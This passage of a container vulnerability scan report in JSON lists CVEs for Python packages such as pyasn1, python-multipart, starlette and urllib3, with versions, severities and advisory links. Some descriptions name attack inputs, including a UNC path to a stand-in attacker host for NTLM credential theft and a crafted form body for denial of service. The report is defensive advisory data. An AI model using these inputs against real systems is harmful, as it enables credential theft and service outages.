"https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx", "https://nvd.nist.gov/vuln/detail/CVE-2026-119197", "https://www.cve.org/CVERecord?id=CVE-2026-119197" ], "PublishedDate": "2026-10-29T20:17:30.907Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-59884", "VendorIDs": [ "GHSA-m4p7-r5rc-7g4j" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59884", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a166992e762f7fec18a36d1f46fe11927a4265ad68873fc22de9bd04ddd877a4", "Title": "python-pyasn1: pyasn1: Denial of Service via crafted BER input", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "amazon": 3, "azure": 3, "ghsa": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59884", "https://advisory.echohq.com/cve/CVE-2026-59884", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j", "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-59884", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59884" ], "PublishedDate": "2026-07-14T17:17:14.75Z", "LastModifiedDate": "2026-07-21T14:37:52.16Z" }, { "VulnerabilityID": "CVE-2026-59885", "VendorIDs": [ "GHSA-8ppf-4f7h-5ppj" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59885", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5583c1ac00cb85300e1b1d079d4b22cad31139e81495d6f73168b5391e84aca0", "Title": "pyasn1: python-pyasn1: pyasn1: Denial of Service via crafted ASN.1 OBJECT IDENTIFIER", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "amazon": 3, "azure": 3, "ghsa": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59885", "https://advisory.echohq.com/cve/CVE-2026-59885", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj", "https://nvd.nist.gov/vuln/detail/CVE-2026-59885", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59885" ], "PublishedDate": "2026-07-14T17:17:14.88Z", "LastModifiedDate": "2026-07-21T14:38:21.58Z" }, { "VulnerabilityID": "CVE-2026-59886", "VendorIDs": [ "GHSA-hm4w-wwcw-mr6r" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.11/site-packages/pyasn1-0.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.3", "UID": "e7d9d800c5057ac7" }, "InstalledVersion": "0.6.3", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59886", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:73a06be4eba5c39095802997eaf0516f10181551381b308bd5a6eb44aee3d8ac", "Title": "pyasn1: pyasn1: Denial of Service via crafted ASN.1 REAL values", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59242", "https://access.redhat.com/security/cve/CVE-2026-59886", "https://advisory.echohq.com/cve/CVE-2026-59886", "https://bugzilla.redhat.com/2500041", "https://bugzilla.redhat.com/show_bug.cgi?id=2500041", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59886", "https://errata.almalinux.org/9/ALSA-2026-59242.html", "https://errata.rockylinux.org/RLSA-2026:59242", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r", "https://linux.oracle.com/cve/CVE-2026-59886.html", "https://linux.oracle.com/errata/ELSA-2026-59243.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59886", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59886" ], "PublishedDate": "2026-07-14T17:17:15.01Z", "LastModifiedDate": "2026-07-21T14:38:13.08Z" }, { "VulnerabilityID": "CVE-2026-42561", "VendorIDs": [ "GHSA-pp6c-gr5w-3c5g" ], "PkgName": "python-multipart", "PkgPath": "usr/local/lib/python3.11/site-packages/python_multipart-0.0.26.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/python-multipart@0.0.26", "UID": "efe1dc13825a0ab2" }, "InstalledVersion": "0.0.26", "FixedVersion": "0.0.27", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42561", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5f910e5ebc6715eea4b6b499160d4995db0df5af743be38deb0e092a470d5e7c", "Title": "python-multipart: python-multipart: Denial of Service via excessive multipart part headers", "Description": "Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.27, python-multipart has a denial of service vulnerability in multipart part header parsing. When parsing multipart/form-data, MultipartParser previously had no limit on the number of part headers or the size of an individual part header. An attacker could send a request with either many repeated headers without terminating the header block or a single very large header value, causing excessive CPU work before request rejection or completion. This vulnerability is fixed in 0.0.27.", "Severity": "HIGH", "CweIDs": [ "CWE-770", "CWE-606" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:44696", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51219", "https://access.redhat.com/errata/RHSA-2026:51357", "https://access.redhat.com/security/cve/CVE-2026-42561", "https://advisory.echohq.com/cve/CVE-2026-42561", "https://bugzilla.redhat.com/show_bug.cgi?id=2477309", "https://github.com/Kludex/python-multipart", "https://github.com/Kludex/python-multipart/security/advisories/GHSA-pp6c-gr5w-3c5g", "https://nvd.nist.gov/vuln/detail/CVE-2026-42561", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42561.json", "https://www.cve.org/CVERecord?id=CVE-2026-42561" ], "PublishedDate": "2026-05-13T21:16:47.07Z", "LastModifiedDate": "2026-10-26T14:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-53539", "VendorIDs": [ "GHSA-5rvq-cxj2-64vf" ], "PkgName": "python-multipart", "PkgPath": "usr/local/lib/python3.11/site-packages/python_multipart-0.0.26.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/python-multipart@0.0.26", "UID": "efe1dc13825a0ab2" }, "InstalledVersion": "0.0.26", "FixedVersion": "0.0.30", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53539", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:ab32134e497d2b6c894cfc933a863fec0772e41006278aa8700c1f6fc8684e25", "Title": "python-multipart: Python-Multipart: Denial of Service via crafted form-urlencoded bodies", "Description": "Python-Multipart is a streaming multipart parser for Python. Prior to 0.0.30, when parsing application/x-www-form-urlencoded bodies, QuerystringParser located the field separator with a two step lookup: it first scanned the entire remaining buffer for \u0026, and only when no \u0026 existed anywhere ahead did it fall back to scanning for ;. For a body that uses ; as the separator and contains no \u0026, every field iteration performed a full failed \u0026 scan over the entire remaining buffer before locating the nearby ;. With N semicolon separated fields in a chunk of size B, this yields O(B^2) byte comparisons per chunk. An attacker can submit a small crafted body of the form a;a;a;... and cause the parser to spend seconds of CPU per request. A handful of concurrent requests can exhaust worker processes. This vulnerability is fixed in 0.0.30.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53539", "https://advisory.echohq.com/cve/CVE-2026-53539", "https://github.com/Kludex/python-multipart", "https://github.com/Kludex/python-multipart/security/advisories/GHSA-5rvq-cxj2-64vf", "https://nvd.nist.gov/vuln/detail/CVE-2026-53539", "https://www.cve.org/CVERecord?id=CVE-2026-53539" ], "PublishedDate": "2026-06-22T18:16:44.36Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-49476", "VendorIDs": [ "GHSA-2wc2-fm75-p42x" ], "PkgName": "soupsieve", "PkgPath": "usr/local/lib/python3.11/site-packages/soupsieve-2.8.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "d9526ae8d9d4bf0c" }, "InstalledVersion": "2.8.3", "FixedVersion": "2.8.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49476", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:36dfc03d27c947405d104704eb9b559b7ad3347193dda94d4b8c2c6b3afb5005", "Title": "python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string", "Description": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49476", "https://advisory.echohq.com/cve/CVE-2026-49476", "https://github.com/facelessuser/soupsieve", "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39", "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4", "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x", "https://nvd.nist.gov/vuln/detail/CVE-2026-49476", "https://www.cve.org/CVERecord?id=CVE-2026-49476" ], "PublishedDate": "2026-07-14T21:17:01.877Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-49477", "VendorIDs": [ "GHSA-836r-79rf-4m37" ], "PkgName": "soupsieve", "PkgPath": "usr/local/lib/python3.11/site-packages/soupsieve-2.8.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "d9526ae8d9d4bf0c" }, "InstalledVersion": "2.8.3", "FixedVersion": "2.8.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49477", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:34e7d78d70af38ac04e1e41825104a8ec465cf9fb54124e0a72afa8380958fcf", "Title": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings", "Description": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49477", "https://advisory.echohq.com/cve/CVE-2026-49477", "https://github.com/facelessuser/soupsieve", "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3", "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4", "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37", "https://nvd.nist.gov/vuln/detail/CVE-2026-49477", "https://www.cve.org/CVERecord?id=CVE-2026-49477" ], "PublishedDate": "2026-07-14T21:17:02.007Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-48818", "VendorIDs": [ "GHSA-wqp7-x3pw-xc5r" ], "PkgName": "starlette", "PkgPath": "usr/local/lib/python3.11/site-packages/starlette-1.0.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@1.0.0", "UID": "ee3136fd1c6dbae2" }, "InstalledVersion": "1.0.0", "FixedVersion": "1.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48818", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:96caeac62a79cd27da8db8f440fddffe3c125935281ec24f575b29167aa9dccd", "Title": "starlette: Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows", "Description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\\\attacker.com\\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account’s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0.", "Severity": "HIGH", "CweIDs": [ "CWE-918" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/security/cve/CVE-2026-48818", "https://advisory.echohq.com/cve/CVE-2026-48818", "https://bugzilla.redhat.com/show_bug.cgi?id=2490020", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/commit/fd53168a7767b6b55ba5af787fd88f49e33cabc5", "https://github.com/Kludex/starlette/pull/3287", "https://github.com/Kludex/starlette/releases/tag/1.1.0", "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r", "https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-2281.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-48818", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48818.json", "https://www.cve.org/CVERecord?id=CVE-2026-48818" ], "PublishedDate": "2026-06-17T19:18:09.807Z", "LastModifiedDate": "2026-10-26T11:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-54283", "VendorIDs": [ "GHSA-82w8-qh3p-5jfq" ], "PkgName": "starlette", "PkgPath": "usr/local/lib/python3.11/site-packages/starlette-1.0.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@1.0.0", "UID": "ee3136fd1c6dbae2" }, "InstalledVersion": "1.0.0", "FixedVersion": "1.3.1", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54283", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a69fe18a712881b15b29556612e6c7fa498880d1ad6af3f60f7d62dd6d7796da", "Title": "starlette: Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS", "Description": "Starlette is a lightweight ASGI framework/toolkit. From 0.4.1 until 1.3.1, request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. This vulnerability is fixed in 1.3.1.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-54283", "https://advisory.echohq.com/cve/CVE-2026-54283", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq", "https://nvd.nist.gov/vuln/detail/CVE-2026-54283", "https://www.cve.org/CVERecord?id=CVE-2026-54283" ], "PublishedDate": "2026-06-22T18:16:46.943Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-44431", "VendorIDs": [ "GHSA-qccp-gfcp-xxvc" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "63a85cd6cb792cde" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44431", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:fcc9af5d5375237503427cd6bb343e27b18dcc4864313b9e5c80a1539efe39a5", "Title": "urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers", "Description": "urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "ghsa": 3, "nvd": 2, "oracle-oval": 2, "photon": 2, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 5.3, "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 5.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/security/cve/CVE-2026-44431", "https://advisory.echohq.com/cve/CVE-2026-44431", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc", "https://linux.oracle.com/cve/CVE-2026-44431.html", "https://linux.oracle.com/errata/ELSA-2026-49927.html", "https://lists.debian.org/debian-lts-announce/2026/06/msg00040.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44431", "https://ubuntu.com/security/notices/USN-8379-1", "https://ubuntu.com/security/notices/USN-8811-1", "https://www.cve.org/CVERecord?id=CVE-2026-44431" ], "PublishedDate": "2026-05-13T16:16:57.15Z", "LastModifiedDate": "2026-06-26T12:16:32.423Z" }, { "VulnerabilityID": "CVE-2026-44432", "VendorIDs": [ "GHSA-mf9v-mfxr-j63j" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "63a85cd6cb792cde" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:a1f651e72a0f3712f537193478f0e032fda37c8db7bff6a6b41b1f3214310a06" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44432", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:1e6c2929d73faf2b103efb8b3758a116ea7f03c2e0413b7cadf3e5f9e51df5a1", "Title": "urllib3: urllib3: Denial of Service due to excessive HTTP response decompression", "Description": "urllib3 is an HTTP client library for Python. From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V3Score": 7.5, "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:15862", "https://access.redhat.com/errata/RHSA-2026:20338", "https://access.redhat.com/errata/RHSA-2026:22934", 